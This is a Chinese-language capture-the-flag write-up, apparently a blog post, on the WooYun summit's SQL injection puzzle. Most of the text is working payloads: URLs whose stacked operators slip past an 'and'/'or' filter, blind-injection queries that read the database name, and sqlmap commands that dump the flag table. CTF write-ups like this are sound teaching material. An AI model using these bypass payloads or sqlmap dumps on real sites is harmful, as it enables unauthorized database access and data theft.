wooyun puzzle注入trick -- Utopia

乌云白帽大会http://summit.wooyun.org/puzzle/detail 
第三题注入的解题思路: 

http://rile.gou.gg/search?query=a 
构造了很多,最后猜测对于and和or的过滤规则为 \sand\s、\sor\s

在http://websec.files.wordpress.com/2010/11/sqli2.pdf 中找到了一条测试语句 

● Prefixes (combine arbitrarily): + - ~ ! 
' or --+2=- -!!!'2

然后撸起袖子测试了很多,最终成功突破 

http://rile.gou.gg/search?query=a%' and--!!!1=- -!!!1 --+     正常返回 

http://rile.gou.gg/search?query=a%' and--!!!1=- -!!!2 --+     返回错误


经典的and语句又复活了,剩下的就容易了 

http://rile.gou.gg/search?query=a%' and- -!!!4=- -!!!if(length((select database()))=5,4,5)--+  获取数据库长度 

http://rile.gou.gg/search?query=a%'%20and-%20-!!!4=-%20-!!!if(ord(left(database(),1))>100,4,5)--+   获取数据库的内容


剩下直接使用sqlmap跑数据,这里需要注意的是把!编码要不会被当成linux下的历史命令运行 
sqlmap -u "http://rile.gou.gg/search?query=a%' and- -%21%21%214=- -%21%21%21if(1=1 *,4,5)--+" --dbs --technique=B
获取数据库 test  information_schema

sqlmap -u "http://rile.gou.gg/search?query=a%' and- -%21%21%214=- -%21%21%21if(1=1 *,4,5)--+" -D test --tables --technique=B
获取数据库test 表   books  flag

sqlmap -u "http://rile.gou.gg/search?query=a%' and- -%21%21%214=- -%21%21%21if(1=1 *,4,5)--+" -D test -T flag --columns --technique=B
获取表flag的字段  flag 

sqlmap -u "http://rile.gou.gg/search?query=a%' and- -%21%21%214=- -%21%21%21if(1=1 *,4,5)--+" -D test -T flag -C flag --dump --technique=B
获取flag  

flag{9G7pgwDjeg8P4opz0Gik}



http://rile.gou.gg/search?query=a%27and!!!1=1%23


http://rile.gou.gg/search?query=%27%26%26!!!1%23

and -> &&
1=1 -> 1(true)
a   ->



Append

http://rile.gou.gg/search?query=%27!=!!!0%23
http://rile.gou.gg/search?query=%27!=!!!1%23


http://rile.gou.gg/search?query=d%27||!!0%23
http://rile.gou.gg/search?query=d%27||!!1%23


http://websec.files.wordpress.com/2010/11/sqli2.pdf 老外总结这些对于mysql是足够了!

你可能感兴趣的:(wooyun puzzle注入trick -- Utopia)